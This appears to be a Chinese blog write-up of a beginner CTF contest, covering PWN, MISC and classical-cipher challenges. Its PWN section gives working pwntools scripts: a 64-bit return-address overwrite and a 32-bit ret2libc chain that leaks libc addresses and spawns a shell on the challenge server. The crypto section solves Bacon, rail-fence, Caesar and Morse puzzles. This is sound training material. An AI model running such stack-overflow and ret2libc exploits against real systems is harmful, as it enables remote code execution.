网络安全萌新杯

PWN

1.Sig


给你点信心
(nc 120.79.51.146 10000)(flag格式flag{})
https://pan.baidu.com/s/1nbsCdWJ893P6RR5wGN2AIw 密码jzpx
nc 120.79.51.146 10000



64位
在这里插入图片描述
查找字符串
在这里插入图片描述
发现system函数

简单溢出覆盖返回地址

from pwn import *

call_addr = 0x400596
r = remote('120.79.51.146',10000) 

payload=0x88*'a'+p64(call_addr)

r.send(payload)
r.interactive()
r.close()

在这里插入图片描述

2.Rop32


栈溢出
(nc 120.79.51.146 10002)(flag格式 flag{})
https://pan.baidu.com/s/15mB5DQDQk-6JWERsBKOkaQ
nc 120.79.51.146 10002


在这里插入图片描述

在这里插入图片描述
32位
在这里插入图片描述

在这里插入图片描述
感觉这个题目跟Jarvis OJ level3比较类似

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

from pwn import *
r=remote('120.79.51.146',10002)
e=ELF('./rop32')
 
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
 
#r.recv()  一开始写这句 但是总是卡到一半 
#后来大佬说是因为根本没有发送..所以一直接收不到 果然去掉就好了
r.send(payload1)
readadr=hex(u32(r.recv())) 

#   950: 000d4350  125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
#  1443: 0003a940    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
#   139: 0002e7b0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
#    15902b /bin/sh
 
libc_read=0x000D4350
offset=int(readadr,16)-libc_read 
sysadr=offset+0x0003A940 #system
xitadr=offset+0x0002E7B0 #exit
bshadr=offset+0x0015902B #binsh
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
 
r.send(payload2)
r.interactive()

在这里插入图片描述

MISC

MISC1


小姐姐好看么
https://pan.baidu.com/s/1r8jquNYSSYeKBM7zEhyU5g


因为没做过这种题 做法都是网上现搜 照猫画虎弄出来的= =
在这里插入图片描述
先搜到的是这种方法 后来发现弄不出来 然后又搜了个别的 就出来了…
在这里插入图片描述

CRYPTO

你必须要跳


解密下去就行
https://pan.baidu.com/s/1C7QYb6cW503BVb-bcShPmg


在这里插入图片描述

培根密码

培根所用的密码是一种本质上用二进制数设计的,没有用通常的0和1来表示,而是采用a和b
在这里插入图片描述
培根密码在线解密 http://rumkin.com/tools/cipher/baconian.php
在这里插入图片描述

栅栏密码

在线解密 https://www.qqxiuzi.cn/bianma/zhalanmima.php
栅栏密码是一种简单的移动字符位置的加密方法,规则简单,容易破解。栅栏密码的加密方式:把文本按照一定的字数分成多个组,取每组第一个字连起来得到密文1,再取每组第二个字连起来得到密文2……最后把密文1、密文2……连成整段密文。
在这里插入图片描述
嗯 真香

常用的加解密


简单解密
https://pan.baidu.com/s/1C44PhWUXIIo5JvkxKpl28Q


在这里插入图片描述

在这里插入图片描述

凯撒密码脚本
def casearDecrypt(ciphertext, source_char, destination_char, list_all):
    if list_all == True:
        for offset in range(1, 27):
            convertChar(offset)
    else:
        offset = ord(destination_char) - ord(source_char)
        convertChar(offset)


def convertChar(offset):
    chars = "abcdefghijklmnopqrstuvwxyz"
    for char in ciphertext:

        is_upper_flag = 0
        if char.isupper():
            char = char.lower()
            is_upper_flag = 1

        if char not in chars:
            outputChar(is_upper_flag, char)
            continue

        tempchar_ascii = ord(char) + offset
        tempchar = chr(tempchar_ascii)
        if tempchar not in chars:
            if offset < 0:
                tempchar_ascii += len(chars)
            else:
                tempchar_ascii -= len(chars)
        tempchar = chr(tempchar_ascii)
        outputChar(is_upper_flag, tempchar)
    print("")


def outputChar(is_upper_flag, char):
    if is_upper_flag == 1:
        print(char.upper(), end="")
    else:
        print(char, end="")


ciphertext = input("Please input ciphertext:\n")
while True:
    operation = input("List all results?y/n:")
    if operation == 'y' or operation == 'Y':
        casearDecrypt(ciphertext, '', '', True)
        break
    elif operation == 'n' or operation == 'N':
        des_char = input("Please input destination_char:\n")
        sors_char = input("Please input source_char:\n")
        casearDecrypt(ciphertext, sors_char, des_char, False)
        break
    else:
        print("Input error! Please input y/n:")


在这里插入图片描述

滴滴滴嗒嗒嗒


嘀嘀嘀嗒嗒嗒这是什么声音呢
https://pan.baidu.com/s/19NwBGm-VO8qXHjnD6mU9tg


摩斯密码在线解密
http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx
在这里插入图片描述
46464546324645464632464532454546324646324646463245464545324545454545324646453246453246464646463246324545463245454545453245454532454646
通过题目可以看出 一直是三组数组 所以可以猜测是ascii码
在这里插入图片描述
45对应 - 46对应. 32对应空格
这么长一串 该如何替换?
可以写脚本 但更省时间的是用word或者文本文档中的文字替换(大佬教的

在这里插入图片描述


感悟= = 真是涨姿势

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值